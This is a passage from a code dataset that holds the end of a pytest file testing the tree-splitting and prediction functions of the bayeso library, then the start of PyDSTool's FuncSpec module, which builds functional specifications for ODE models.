replace_samples)\n    print(X_)\n    print(Y_)\n\n    X_truth = np.array([\n        [24, 25, 26, 27],\n        [8, 9, 10, 11],\n        [32, 33, 34, 35],\n        [28, 29, 30, 31],\n        [36, 37, 38, 39],\n    ])\n    Y_truth = np.array([\n        [1.57921282],\n        [0.64768854],\n        [-0.46947439],\n        [0.76743473],\n        [0.54256004],\n    ])\n\n    assert np.all(np.abs(X_truth - X_) < TEST_EPSILON)\n    assert np.all(np.abs(Y_truth - Y_) < TEST_EPSILON)\n    assert X_.shape[0] == Y_.shape[0] == X_truth.shape[0] == Y_truth.shape[0]\n    assert X_.shape[0] == Y_.shape[0] == int(ratio_sampling * X.shape[0])\n\n    X_, Y_ = package_target.subsample(X, Y, 1.2, True)\n    print(X_)\n    print(Y_)\n\n    X_truth = np.array([\n        [36, 37, 38, 39],\n        [8, 9, 10, 11],\n        [24, 25, 26, 27],\n        [12, 13, 14, 15],\n        [32, 33, 34, 35],\n        [8, 9, 10, 11],\n        [16, 17, 18, 19],\n        [8, 9, 10, 11],\n        [24, 25, 26, 27],\n        [16, 17, 18, 19],\n        [32, 33, 34, 35],\n        [24, 25, 26, 27],\n    ])\n    Y_truth = np.array([\n        [0.54256004],\n        [0.64768854],\n        [1.57921282],\n        [1.52302986],\n        [-0.46947439],\n        [0.64768854],\n        [-0.23415337],\n        [0.64768854],\n        [1.57921282],\n        [-0.23415337],\n        [-0.46947439],\n        [1.57921282],\n    ])\n\n    assert np.all(np.abs(X_truth - X_) < TEST_EPSILON)\n    assert np.all(np.abs(Y_truth - Y_) < TEST_EPSILON)\n    assert X_.shape[0] == Y_.shape[0] == X_truth.shape[0] == Y_truth.shape[0]\n    assert X_.shape[0] == Y_.shape[0] == int(1.2 * X.shape[0])\n\ndef test__split_left_right_typing():\n    annos = package_target._split_left_right.__annotations__\n\n    assert annos['X'] == np.ndarray\n    assert annos['Y'] == np.ndarray\n    assert annos['dim_to_split'] == int\n    assert annos['val_to_split'] == float\n    assert annos['return'] == tuple\n\ndef test__split_left_right():\n    np.random.seed(42)\n\n    X = np.reshape(np.arange(0, 40), (10, 4))\n    Y = np.random.randn(10, 1)\n    dim_to_split = 1\n    val_to_split = 14.0\n\n    with pytest.raises(AssertionError) as error:\n        package_target._split_left_right(X, Y, dim_to_split, 'abc')\n    with pytest.raises(AssertionError) as error:\n        package_target._split_left_right(X, Y, dim_to_split, 123)\n    with pytest.raises(AssertionError) as error:\n        package_target._split_left_right(X, Y, 0.5, val_to_split)\n    with pytest.raises(AssertionError) as error:\n        package_target._split_left_right(X, Y, 'abc', val_to_split)\n    with pytest.raises(AssertionError) as error:\n        package_target._split_left_right(X, 'abc', dim_to_split, val_to_split)\n    with pytest.raises(AssertionError) as error:\n        package_target._split_left_right('abc', Y, dim_to_split, val_to_split)\n\n    left, right = package_target._split_left_right(X, Y, dim_to_split, val_to_split)\n    print(left)\n    print(right)\n\n    left_ = [\n        (np.array([0, 1, 2, 3]), np.array([0.49671415])),\n        (np.array([4, 5, 6, 7]), np.array([-0.1382643])),\n        (np.array([8, 9, 10, 11]), np.array([0.64768854])),\n        (np.array([12, 13, 14, 15]), np.array([1.52302986]))\n    ]\n    right_ = [\n        (np.array([16, 17, 18, 19]), np.array([-0.23415337])),\n        (np.array([20, 21, 22, 23]), np.array([-0.23413696])),\n        (np.array([24, 25, 26, 27]), np.array([1.57921282])),\n        (np.array([28, 29, 30, 31]), np.array([0.76743473])),\n        (np.array([32, 33, 34, 35]), np.array([-0.46947439])),\n        (np.array([36, 37, 38, 39]), np.array([0.54256004]))\n    ]\n\n    assert len(left_) == 4\n    assert len(right_) == 6\n    assert (len(left_) + len(right_)) == X.shape[0]\n\ndef test__split_typing():\n    annos = package_target._split.__annotations__\n\n    assert annos['X'] == np.ndarray\n    assert annos['Y'] == np.ndarray\n    assert annos['num_features'] == int\n    assert annos['split_random_location'] == bool\n    assert annos['return'] == dict\n\ndef test__split():\n    np.random.seed(42)\n\n    X = np.reshape(np.arange(0, 40), (10, 4))\n    Y = np.random.randn(10, 1)\n    num_features = 2\n    split_random_location = False\n\n    with pytest.raises(AssertionError) as error:\n        package_target._split(X, Y, num_features, 'abc')\n    with pytest.raises(AssertionError) as error:\n        package_target._split(X, Y, 'abc', split_random_location)\n    with pytest.raises(AssertionError) as error:\n        package_target._split(X, Y, 2.0, split_random_location)\n    with pytest.raises(AssertionError) as error:\n        package_target._split(X, 'abc', num_features, split_random_location)\n    with pytest.raises(AssertionError) as error:\n        package_target._split('abc', Y, num_features, split_random_location)\n\n    dict_split = package_target._split(X, Y, num_features, split_random_location)\n    print(dict_split)\n    print(dict_split['index'])\n    print(dict_split['value'])\n    print(dict_split['left_right'])\n\n    assert isinstance(dict_split, dict)\n    assert dict_split['index'] == 1\n    assert dict_split['value'] == 35.0\n\n    assert np.all(dict_split['left_right'][0][0][0] == np.array([0, 1, 2, 3]))\n    assert np.abs(dict_split['left_right'][0][0][1] - np.array([0.49671415])) < TEST_EPSILON\n\n    assert np.all(dict_split['left_right'][0][1][0] == np.array([4, 5, 6, 7]))\n    assert np.abs(dict_split['left_right'][0][1][1] - np.array([-0.1382643])) < TEST_EPSILON\n\n    assert np.all(dict_split['left_right'][0][2][0] == np.array([8, 9, 10, 11]))\n    assert np.abs(dict_split['left_right'][0][2][1] - np.array([0.64768854])) < TEST_EPSILON\n\n    assert np.all(dict_split['left_right'][0][3][0] == np.array([12, 13, 14, 15]))\n    assert np.abs(dict_split['left_right'][0][3][1] - np.array([1.52302986])) < TEST_EPSILON\n\n    assert np.all(dict_split['left_right'][0][4][0] == np.array([16, 17, 18, 19]))\n    assert np.abs(dict_split['left_right'][0][4][1] - np.array([-0.23415337])) < TEST_EPSILON\n\n    assert np.all(dict_split['left_right'][0][5][0] == np.array([20, 21, 22, 23]))\n    assert np.abs(dict_split['left_right'][0][5][1] - np.array([-0.23413696])) < TEST_EPSILON\n\n    assert np.all(dict_split['left_right'][0][6][0] == np.array([24, 25, 26, 27]))\n    assert np.abs(dict_split['left_right'][0][6][1] - np.array([1.57921282])) < TEST_EPSILON\n\n    assert np.all(dict_split['left_right'][0][7][0] == np.array([28, 29, 30, 31]))\n    assert np.abs(dict_split['left_right'][0][7][1] - np.array([0.76743473])) < TEST_EPSILON\n\n    assert np.all(dict_split['left_right'][0][8][0] == np.array([32, 33, 34, 35]))\n    assert np.abs(dict_split['left_right'][0][8][1] - np.array([-0.46947439])) < TEST_EPSILON\n\n    assert np.all(dict_split['left_right'][1][0][0] == np.array([36, 37, 38, 39]))\n    assert np.abs(dict_split['left_right'][1][0][1] - np.array([0.54256004])) < TEST_EPSILON\n\n    dict_split = package_target._split(X, Y, num_features, True)\n    print(dict_split)\n    print(dict_split['index'])\n    print(dict_split['value'])\n    print(dict_split['left_right'])\n\n    assert isinstance(dict_split, dict)\n    assert dict_split['index'] == 0\n    assert dict_split['value'] == 0.2543869879098266\n\n    X = np.ones(X.shape)\n\n    dict_split = package_target._split(X, Y, num_features, True)\n    print(dict_split)\n    print(dict_split['index'])\n    print(dict_split['value'])\n    print(dict_split['left_right'])\n\n    assert isinstance(dict_split, dict)\n    assert dict_split['index'] == 1\n    assert dict_split['value'] == 1.0\n\ndef test_split_typing():\n    annos = package_target.split.__annotations__\n\n    assert annos['node'] == dict\n    assert annos['depth_max'] == int\n    assert annos['size_min_leaf'] == int\n    assert annos['num_features'] == int\n    assert annos['split_random_location'] == bool\n    assert annos['cur_depth'] == int\n    assert annos['return'] == constants.TYPE_NONE\n\ndef test_split():\n    np.random.seed(42)\n\n    X = np.reshape(np.arange(0, 40), (10, 4))\n    Y = np.random.randn(10, 1)\n    depth_max = 4\n    size_min_leaf = 2\n    num_features = 2\n    split_random_location = False\n\n    node = package_target._split(X, Y, num_features, split_random_location)\n\n    with pytest.raises(AssertionError) as error:\n        package_target.split(node, depth_max, size_min_leaf, num_features, split_random_location, 'abc')\n    with pytest.raises(AssertionError) as error:\n        package_target.split(node, depth_max, size_min_leaf, num_features, split_random_location, 1.0)\n    with pytest.raises(AssertionError) as error:\n        package_target.split(node, depth_max, size_min_leaf, num_features, 'abc', 1)\n    with pytest.raises(AssertionError) as error:\n        package_target.split(node, depth_max, size_min_leaf, 'abc', split_random_location, 1)\n    with pytest.raises(AssertionError) as error:\n        package_target.split(node, depth_max, 'abc', num_features, split_random_location, 1)\n    with pytest.raises(AssertionError) as error:\n        package_target.split(node, 'abc', size_min_leaf, num_features, split_random_location, 1)\n    with pytest.raises(AssertionError) as error:\n        package_target.split(X, depth_max, size_min_leaf, num_features, split_random_location, 1)\n    with pytest.raises(AssertionError) as error:\n        package_target.split('abc', depth_max, size_min_leaf, num_features, split_random_location, 1)\n\n    package_target.split(node, depth_max, size_min_leaf, num_features, split_random_location, 1)\n    assert isinstance(node, dict)\n\ndef test__predict_by_tree_typing():\n    annos = package_target._predict_by_tree.__annotations__\n\n    assert annos['bx'] == np.ndarray\n    assert annos['tree'] == dict\n    assert annos['return'] == constants.TYPING_TUPLE_TWO_FLOATS\n\ndef test__predict_by_tree():\n    np.random.seed(42)\n\n    X = np.reshape(np.arange(0, 40), (10, 4))\n    Y = np.random.randn(10, 1)\n    depth_max = 4\n    size_min_leaf = 2\n    num_features = 2\n    split_random_location = True\n\n    node = package_target._split(X, Y, num_features, split_random_location)\n    package_target.split(node, depth_max, size_min_leaf, num_features, split_random_location, 1)\n\n    with pytest.raises(AssertionError) as error:\n        package_target._predict_by_tree(np.array([4.0, 2.0, 3.0, 1.0]), 'abc')\n    with pytest.raises(AssertionError) as error:\n        package_target._predict_by_tree(X, node)\n    with pytest.raises(AssertionError) as error:\n        package_target._predict_by_tree('abc', node)\n\n    mean, std = package_target._predict_by_tree(np.array([4.0, 2.0, 3.0, 1.0]), node)\n    print(mean)\n    print(std)\n\n    assert mean == 0.179224925920024\n    assert std == 0.31748922709120864\n\ndef test__predict_by_trees_typing():\n    annos = package_target._predict_by_trees.__annotations__\n\n    assert annos['bx'] == np.ndarray\n    assert annos['list_trees'] == list\n    assert annos['return'] == constants.TYPING_TUPLE_TWO_FLOATS\n\ndef test__predict_by_trees():\n    np.random.seed(42)\n\n    X = np.reshape(np.arange(0, 40), (10, 4))\n    Y = np.random.randn(10, 1)\n    depth_max = 4\n    size_min_leaf = 2\n    num_features = 2\n    split_random_location = True\n\n    node_1 = package_target._split(X, Y, num_features, split_random_location)\n    package_target.split(node_1, depth_max, size_min_leaf, num_features, split_random_location, 1)\n\n    node_2 = package_target._split(X, Y, num_features, split_random_location)\n    package_target.split(node_2, depth_max, size_min_leaf, num_features, split_random_location, 1)\n\n    node_3 = package_target._split(X, Y, num_features, split_random_location)\n    package_target.split(node_3, depth_max, size_min_leaf, num_features, split_random_location, 1)\n\n    list_trees = [node_1, node_2, node_3]\n\n    with pytest.raises(AssertionError) as error:\n        package_target._predict_by_trees(np.array([4.0, 2.0, 3.0, 1.0]), node_1)\n    with pytest.raises(AssertionError) as error:\n        package_target._predict_by_trees(np.array([4.0, 2.0, 3.0, 1.0]), 'abc')\n    with pytest.raises(AssertionError) as error:\n        package_target._predict_by_trees(X, list_trees)\n    with pytest.raises(AssertionError) as error:\n        package_target._predict_by_trees('abc', list_trees)\n\n    mean, std = package_target._predict_by_trees(np.array([4.0, 2.0, 3.0, 1.0]), list_trees)\n    print(mean)\n    print(std)\n\n    assert mean == 0.12544669602080652\n    assert std == 0.3333040901154691\n\ndef test_predict_by_trees_typing():\n    annos = package_target.predict_by_trees.__annotations__\n\n    assert annos['X'] == np.ndarray\n    assert annos['list_trees'] == list\n    assert annos['return'] == constants.TYPING_TUPLE_TWO_ARRAYS\n\ndef test_predict_by_trees():\n    np.random.seed(42)\n\n    X = np.reshape(np.arange(0, 40), (10, 4))\n    Y = np.random.randn(10, 1)\n    depth_max = 4\n    size_min_leaf = 2\n    num_features = 2\n    split_random_location = True\n\n    node_1 = package_target._split(X, Y, num_features, split_random_location)\n    package_target.split(node_1, depth_max, size_min_leaf, num_features, split_random_location, 1)\n\n    node_2 = package_target._split(X, Y, num_features, split_random_location)\n    package_target.split(node_2, depth_max, size_min_leaf, num_features, split_random_location, 1)\n\n    node_3 = package_target._split(X, Y, num_features, split_random_location)\n    package_target.split(node_3, depth_max, size_min_leaf, num_features, split_random_location, 1)\n\n    list_trees = [node_1, node_2, node_3]\n\n    with pytest.raises(AssertionError) as error:\n        package_target.predict_by_trees(np.array([4.0, 2.0, 3.0, 1.0]), node_1)\n    with pytest.raises(AssertionError) as error:\n        package_target.predict_by_trees(np.array([4.0, 2.0, 3.0, 1.0]), 'abc')\n    with pytest.raises(AssertionError) as error:\n        package_target.predict_by_trees(np.array([4.0, 2.0, 3.0, 1.0]), list_trees)\n    with pytest.raises(AssertionError) as error:\n        package_target.predict_by_trees('abc', list_trees)\n\n    means, stds = package_target.predict_by_trees(X, list_trees)\n    print(means)\n    print(stds)\n\n    means_truth = np.array([\n        [0.33710618],\n        [0.1254467],\n        [0.68947573],\n        [0.9866563],\n        [0.16257799],\n        [0.16258346],\n        [0.85148454],\n        [0.55084716],\n        [0.30721653],\n        [0.30721653],\n    ])\n\n    stds_truth = np.array([\n        [0.29842457],\n        [0.33330409],\n        [0.44398864],\n        [0.72536523],\n        [0.74232577],\n        [0.74232284],\n        [0.83388663],\n        [0.5615399],\n        [0.64331582],\n        [0.64331582],\n    ])\n\n    assert isinstance(means, np.ndarray)\n    assert isinstance(stds, np.ndarray)\n    assert len(means.shape) == 2\n    assert len(stds.shape) == 2\n    assert means.shape[0] == stds.shape[0] == X.shape[0]\n    assert means.shape[1] == stds.shape[1] == 1\n\n    assert np.all(np.abs(means - means_truth) < TEST_EPSILON)\n    assert np.all(np.abs(stds - stds_truth) < TEST_EPSILON)\n\n    X = np.random.randn(1000, 4)\n\n    means, stds = package_target.predict_by_trees(X, list_trees)\n\n    assert isinstance(means, np.ndarray)\n    assert isinstance(stds, np.ndarray)\n    assert len(means.shape) == 2\n    assert len(stds.shape) == 2\n    assert means.shape[0] == stds.shape[0] == X.shape[0]\n    assert means.shape[1] == stds.shape[1] == 1\n\ndef test_compute_sigma_typing():\n    annos = package_target.compute_sigma.__annotations__\n\n    assert annos['preds_mu_leaf'] == np.ndarray\n    assert annos['preds_sigma_leaf'] == np.ndarray\n    assert annos['min_sigma'] == float\n    assert annos['return'] == np.ndarray\n\ndef test_compute_sigma():\n    means_leaf = np.array([\n        1.0,\n        2.0,\n        3.0,\n        9.0,\n        8.0,\n        4.0,\n        5.0,\n        6.0,\n        7.0,\n        10.0,\n    ])\n\n    stds_leaf = np.array([\n        -1.0,\n        0.0,\n        1.0,\n        2.0,\n        1.0,\n        1.0,\n        4.0,\n        3.0,\n        4.0,\n        -2.0,\n    ])\n    min_sigma = 0.0\n\n    with pytest.raises(AssertionError) as error:\n        package_target.compute_sigma(means_leaf, stds_leaf, min_sigma='abc')\n    with pytest.raises(AssertionError) as error:\n        package_target.compute_sigma(means_leaf, stds_leaf, min_sigma=4)\n    with pytest.raises(AssertionError) as error:\n        package_target.compute_sigma(means_leaf, 'abc', min_sigma=min_sigma)\n    with pytest.raises(AssertionError) as error:\n        package_target.compute_sigma(means_leaf, np.array([[1.0], [2.0], [1.0]]), min_sigma=min_sigma)\n    with pytest.raises(AssertionError) as error:\n        package_target.compute_sigma('abc', stds_leaf, min_sigma=min_sigma)\n    with pytest.raises(AssertionError) as error:\n        package_target.compute_sigma(np.array([[1.0], [2.0], [1.0]]), stds_leaf, min_sigma=min_sigma)\n\n    sigma = package_target.compute_sigma(means_leaf, stds_leaf, min_sigma=min_sigma)\n    print(sigma)\n\n    sigma_truth = np.mean(means_leaf**2 + np.maximum(stds_leaf, min_sigma)**2)\n    print(sigma_truth)\n    sigma_truth -= np.mean(means_leaf)**2\n    print(sigma_truth)\n    sigma_truth = np.sqrt(sigma_truth)\n    print(sigma_truth)\n\n    assert sigma == sigma_truth == 3.612478373637688\n", "meta": {"hexsha": "4b0ae067b2058a5114e020eade4a8056fd08f163", "size": 22545, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/common/test_trees_trees_common.py", "max_stars_repo_name": "jungtaekkim/bayeso", "max_stars_repo_head_hexsha": "d11c9ff8037cf7fd3f9b41362eaab120f1224c71", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 76, "max_stars_repo_stars_event_min_datetime": "2018-01-18T03:03:14.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-07T06:41:41.000Z", "max_issues_repo_path": "tests/common/test_trees_trees_common.py", "max_issues_repo_name": "POSTECH-CVLab/bayeso", "max_issues_repo_head_hexsha": "d11c9ff8037cf7fd3f9b41362eaab120f1224c71", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 20, "max_issues_repo_issues_event_min_datetime": "2018-06-29T16:48:03.000Z", "max_issues_repo_issues_event_max_datetime": "2021-04-19T00:30:57.000Z", "max_forks_repo_path": "tests/common/test_trees_trees_common.py", "max_forks_repo_name": "POSTECH-CVLab/bayeso", "max_forks_repo_head_hexsha": "d11c9ff8037cf7fd3f9b41362eaab120f1224c71", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 4, "max_forks_repo_forks_event_min_datetime": "2020-01-07T06:24:17.000Z", "max_forks_repo_forks_event_max_datetime": "2021-06-11T06:21:42.000Z", "avg_line_length": 34.9534883721, "max_line_length": 104, "alphanum_fraction": 0.6482590375, "include": true, "reason": "import numpy", "num_tokens": 6836, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416729909662417, "lm_q2_score": 0.136608397056381, "lm_q1q2_score": 0.060336239318995726}}
{"text": "\"\"\"Functional specification classes.\r\n\r\n   Robert Clewley, August 2005.\r\n\r\nThis module aids in building internal representations of ODEs, etc.,\r\nparticularly for the benefit of Automatic Differentiation\r\nand for manipulation of abstraction digraphs.\r\n\"\"\"\r\n\r\n# PyDSTool imports\r\nfrom __future__ import division, absolute_import, print_function\r\nfrom .utils import *\r\nfrom .common import *\r\nfrom .parseUtils import *\r\nfrom .errors import *\r\nfrom .utils import info as utils_info\r\nfrom .Symbolic import QuantSpec, allmathnames_symbolic\r\n\r\n# Other imports\r\nfrom copy import copy, deepcopy\r\nfrom numpy import any\r\n\r\nimport PyDSTool.core.codegenerators as CG\r\n\r\n__all__ = ['RHSfuncSpec', 'ImpFuncSpec', 'ExpFuncSpec', 'FuncSpec',\r\n           'getSpecFromFile', 'resolveClashingAuxFnPars', 'makePartialJac']\r\n\r\n# XXX: this method is used elsewhere (Events.py)\r\n_processReused = CG._processReused\r\n\r\n# ---------------------------------------------------------------\r\nclass FuncSpec(object):\r\n    \"\"\"Functional specification of dynamics: abstract class.\r\n\r\n    NOTES ON BUILT-IN AUX FUNCTIONS (WITH SYNTAX AS USED IN SPEC STRING):\r\n\r\n    globalindepvar(t) -> global independent variable (time) reference\r\n\r\n    initcond(varname) -> initial condition of that variable in this DS\r\n\r\n    heav(x) = 1 if x > 0, 0 otherwise\r\n\r\n    getindex(varname) -> index of varname in internal representation of\r\n     variables as array\r\n\r\n    getbound(name, which_bd) -> value of user-defined bound on the named\r\n     variable or parameter, either the lower (which_bd=0) or higher\r\n     (which_bd=1)\r\n\r\n    if(condition, expr1, expr2) -> if condition as a function of state,\r\n     parameters and time is true, then evaluate <expr1>, else evaluate\r\n     <expr2>.\r\n\r\n    MACRO `for` SYNTAX:\r\n\r\n     for(i, ilo, ihi, expr_in_i) -> list of expressions where each\r\n      occurrence of `[i]` is replaced with the appropriate integer.\r\n      The letter i can be replaced with any other single character.\r\n\r\n    MACRO `sum` SYNTAX:\r\n\r\n     sum(i, ilo, ihi, expr_in_i) -> an expression that sums\r\n      over the expression replacing any occurrence of `[i]` with\r\n      the appropriate integer.\r\n    \"\"\"\r\n    def __init__(self, kw_):\r\n        # All math package names are reserved\r\n        self._protected_mathnames = protected_mathnames\r\n        self._protected_randomnames = protected_randomnames\r\n        self._protected_scipynames = protected_scipynames\r\n        self._protected_numpynames = protected_numpynames\r\n        self._protected_specialfns = protected_specialfns\r\n        self._protected_builtins = protected_builtins\r\n        self._protected_symbolicnames = allmathnames_symbolic\r\n        # We add internal default auxiliary function names for use by\r\n        # functional specifications.\r\n        self._builtin_auxnames = builtin_auxnames\r\n        self._protected_macronames = protected_macronames\r\n        self._protected_auxnames = copy(self._builtin_auxnames)\r\n        self._protected_reusenames = []   # for reusable sub-expression terms\r\n        needKeys = ['name', 'vars']\r\n        optionalKeys = ['pars', 'inputs', 'varspecs', 'spec', '_for_macro_info',\r\n                   'targetlang', 'fnspecs', 'auxvars', 'reuseterms',\r\n                   'codeinsert_start', 'codeinsert_end', 'ignorespecial']\r\n        self._initargs = deepcopy(kw_)\r\n\r\n        # Do not destruct input arg\r\n        kw = deepcopy(kw_)\r\n\r\n        self.__validate_input(kw, needKeys + optionalKeys)\r\n\r\n        # spec name\r\n        self.name = kw.pop('name', 'untitled')\r\n        # declare name lists: variables, aux variables, parameters, inputs\r\n        for name in ['vars', 'pars', 'inputs', 'auxvars']:\r\n            ns = kw.pop(name, [])\r\n            setattr(self, name, [ns] if isinstance(ns, str) else sorted(ns))\r\n\r\n        self.targetlang = kw.pop('targetlang', 'python')\r\n        if self.targetlang == 'c':\r\n            self._defstr = \"#define\"\r\n            self._undefstr = \"#undef\"\r\n        else:\r\n            self._defstr = \"\"\r\n            self._undefstr = \"\"\r\n        if 'ignorespecial' in kw:\r\n            self._ignorespecial = kw['ignorespecial']\r\n        else:\r\n            self._ignorespecial = []\r\n\r\n        codegen_opts = dict((k, kw.pop(k, '')) for k in ['codeinsert_start', 'codeinsert_end'])\r\n        self.codegen = CG.getCodeGenerator(self, **codegen_opts)\r\n        # ------------------------------------------\r\n        # reusable terms in function specs\r\n        self.reuseterms = kw.pop('reuseterms', {})\r\n\r\n        # auxfns dict of functionality for auxiliary functions (in\r\n        # either python or C). for instance, these are used for global\r\n        # time reference, access of regular variables to initial\r\n        # conditions, and user-defined quantities.\r\n        self.auxfns = {}\r\n        if 'fnspecs' in kw:\r\n            self._auxfnspecs = deepcopy(kw['fnspecs'])\r\n        else:\r\n            self._auxfnspecs = {}\r\n        # spec dict of functionality, as a string for each var\r\n        # (in either python or C, or just for python?)\r\n        if '_for_macro_info' in kw:\r\n            self._varsbyforspec = kw['_for_macro_info'].varsbyforspec\r\n        else:\r\n            self._varsbyforspec = {}\r\n        if 'varspecs' in kw:\r\n            numaux = len(self.auxvars)\r\n            if '_for_macro_info' in kw:\r\n                if kw['_for_macro_info'].numfors > 0:\r\n                    num_varspecs = numaux + len(self.vars) - kw['_for_macro_info'].totforvars + \\\r\n                                   kw['_for_macro_info'].numfors\r\n                else:\r\n                    num_varspecs = numaux + len(self.vars)\r\n            else:\r\n                num_varspecs = numaux + len(self.vars)\r\n            if len(kw['varspecs']) != len(self._varsbyforspec) and \\\r\n               len(kw['varspecs']) != num_varspecs:\r\n                print(\"# state variables: %d\" % len(self.vars))\r\n                print(\"# auxiliary variables: %d\" % numaux)\r\n                print(\"# of variable specs: %d\" % len(kw['varspecs']))\r\n                raise ValueError('Incorrect size of varspecs')\r\n            self.varspecs = deepcopy(kw['varspecs'])\r\n        else:\r\n            self.varspecs = {}\r\n        self.codeinserts = {'start': '', 'end': ''}\r\n        # spec dict of functionality, as python functions,\r\n        # or the paths/names of C dynamic linked library files\r\n        # can be user-defined or generated from generateSpec\r\n        if 'spec' in kw:\r\n            assert isinstance(kw['spec'], tuple), (\"'spec' must be a pair:\"\r\n                                    \" (spec body, spec name)\")\r\n            assert len(kw['spec'])==2, (\"'spec' must be a pair:\"\r\n                                    \" (spec body, spec name)\")\r\n            self.spec = deepcopy(kw['spec'])\r\n            # auxspec not used for explicitly-given specs. it's only for\r\n            # auto-generated python auxiliary variable specs (as py functions)\r\n            self.auxspec = {}\r\n            if 'dependencies' in kw:\r\n                self._dependencies = kw['dependencies']\r\n            else:\r\n                raise PyDSTool_KeyError(\"Dependencies must be provided \"\r\n                         \"explicitly when using 'spec' form of initialization\")\r\n        else:\r\n            self.spec = {}\r\n            self.auxspec = {}\r\n        self.defined = False  # initial value\r\n        self.validateDef(self.vars, self.pars, self.inputs, self.auxvars, list(self._auxfnspecs.keys()))\r\n        # ... exception if not valid\r\n        # pre-process specification string for built-in macros (like `for`,\r\n        # i.e. that are not also auxiliary functions, like the in-line `if`)\r\n        self.doPreMacros()\r\n        # !!!\r\n        # want to create _pyauxfns but not C versions until after main spec\r\n        # !!!\r\n        self.generateAuxFns()\r\n        if self.spec == {}:\r\n            assert self.varspecs != {}, \\\r\n                   'No functional specification provided!'\r\n            self.generateSpec()\r\n            # exception if the following is not successful\r\n            self.validateDependencies(self.dependencies)\r\n        #self.generateAuxFns()\r\n        # self.validateSpecs()\r\n        # algparams is only used by ImplicitFnGen to pass extra info to Variable\r\n        self.algparams = {}\r\n        self.defined = True\r\n\r\n    def __validate_input(self, kw, valid_keys):\r\n        \"\"\"Global input dictionary validation\"\"\"\r\n        invalid = set(kw.keys()) - set(valid_keys)\r\n        if invalid:\r\n            raise PyDSTool_KeyError(\r\n                'Invalid keys %r passed in argument dict' % list(invalid))\r\n\r\n        if 'vars' not in kw:\r\n            raise PyDSTool_KeyError(\r\n                \"Require a variables specification key -- 'vars'\")\r\n\r\n        spec_keys = ['varspecs', 'spec']\r\n        if all(k not in kw for k in spec_keys):\r\n            raise PyDSTool_KeyError(\r\n                \"Require a functional specification key -- 'spec' or 'varspecs'\")\r\n\r\n        if all(k in kw for k in spec_keys):\r\n            raise PyDSTool_KeyError(\r\n                \"Cannot provide both 'spec' and 'varspecs' keys\")\r\n\r\n    @property\r\n    def targetlang(self):\r\n        return self._targetlang\r\n\r\n    @targetlang.setter\r\n    def targetlang(self, value):\r\n        try:\r\n            value = value.lower()\r\n            if value not in targetLangs:\r\n                raise ValueError('Invalid specification for targetlang')\r\n        except AttributeError:\r\n            raise TypeError(\"Expected string type for target language\")\r\n\r\n        self._targetlang = value\r\n\r\n    @property\r\n    def dependencies(self):\r\n        if not hasattr(self, '_dependencies'):\r\n            deps = set()\r\n            valid_targets = self.inputs + self.vars\r\n            for name, spec in self.varspecs.items():\r\n                specQ = QuantSpec('__spectemp__', spec)\r\n                [deps.add((name, s)) for s in specQ if s in valid_targets]\r\n\r\n            self._dependencies = sorted(deps)\r\n\r\n        return self._dependencies\r\n\r\n    @property\r\n    def reuseterms(self):\r\n        return self._reuseterms\r\n\r\n    @reuseterms.setter\r\n    def reuseterms(self, terms):\r\n        if not isinstance(terms, dict):\r\n            raise ValueError('reuseterms must be a dictionary of strings ->'\r\n                               ' replacement strings')\r\n        self._reuseterms = dict(\r\n            (t, rt) for t, rt in terms.items()\r\n            if self.__term_valid(t) and self.__repterm_valid(rt)\r\n        )\r\n\r\n    def __term_valid(self, term):\r\n        if isNumericToken(term):\r\n            # don't replace numeric terms (sometimes these are\r\n            # generated automatically by Constructors when resolving\r\n            # explicit variable inter-dependencies)\r\n            return False\r\n\r\n        if term[0] in '+/*':\r\n            print(\"Error in term:%s\" % term)\r\n            raise ValueError('terms to be substituted must not begin '\r\n                                'with arithmetic operators')\r\n        if term[0] == '-':\r\n            term = '(' + term + ')'\r\n        if term[-1] in '+-/*':\r\n            print(\"Error in term:%s\" % term)\r\n            raise ValueError('terms to be substituted must not end with '\r\n                                'arithmetic operators')\r\n        for s in term:\r\n            if self.targetlang == 'python':\r\n                if s in r'[]{}~@#$%&\\|?^':  # <>! now OK, e.g. for \"if\" statements\r\n                    print(\"Error in term:%s\" % term)\r\n                    raise ValueError('terms to be substituted must be '\r\n                        'alphanumeric or contain arithmetic operators '\r\n                        '+ - / *')\r\n            else:\r\n                if s in r'[]{}~!@#$%&\\|?><':  # removed ^ from this list\r\n                    print(\"Error in term:%s\" % term)\r\n                    raise ValueError('terms to be substituted must be alphanumeric or contain arithmetic operators + - / *')\r\n        return True\r\n\r\n    def __repterm_valid(self, repterm):\r\n        if repterm[0] in num_chars:\r\n            print(\"Error in replacement term:%s\" % repterm)\r\n            raise ValueError('replacement terms must not begin with numbers')\r\n        for s in repterm:\r\n            if s in r'+-/*.()[]{}~!@#$%^&\\|?><,':\r\n                print(\"Error in replacement term:%s\" % repterm)\r\n                raise ValueError('replacement terms must be alphanumeric')\r\n\r\n        return True\r\n\r\n    def __hash__(self):\r\n        \"\"\"Unique identifier for this specification.\"\"\"\r\n        deflist = [self.name, self.targetlang]\r\n        # lists\r\n        for l in [self.pars, self.vars, self.auxvars, self.inputs,\r\n                  self.spec, self.auxspec]:\r\n            deflist.append(tuple(l))\r\n        # dicts\r\n        for d in [self.auxfns, self.codeinserts]:\r\n            deflist.append(tuple(sortedDictItems(d, byvalue=False)))\r\n        return hash(tuple(deflist))\r\n\r\n    def recreate(self, targetlang):\r\n        if targetlang == self.targetlang:\r\n            # print \"Returning a deep copy of self\"\r\n            return deepcopy(self)\r\n        fs = FuncSpec.__new__(self.__class__)\r\n        new_args = deepcopy(self._initargs)\r\n        if self.codeinserts['start'] != '':\r\n            del new_args['codeinsert_start']\r\n            print(\"Warning: code insert (start) ignored for new target\")\r\n        if self.codeinserts['end'] != '':\r\n            del new_args['codeinsert_end']\r\n            print(\"Warning: code insert (end) ignored for new target\")\r\n        new_args['targetlang'] = targetlang\r\n        fs.__init__(new_args)\r\n        return fs\r\n\r\n    def __call__(self):\r\n        # info is defined in utils.py\r\n        utils_info(self.__dict__, \"FuncSpec \" + self.name)\r\n\r\n\r\n    # def info(self, verbose=1):\r\n    #     if verbose > 0:\r\n    #         # info is defined in utils.py\r\n    #         utils_info(self.__dict__, \"FuncSpec \" + self.name,\r\n    #              recurseDepthLimit=1+verbose)\r\n    #     else:\r\n    #         print 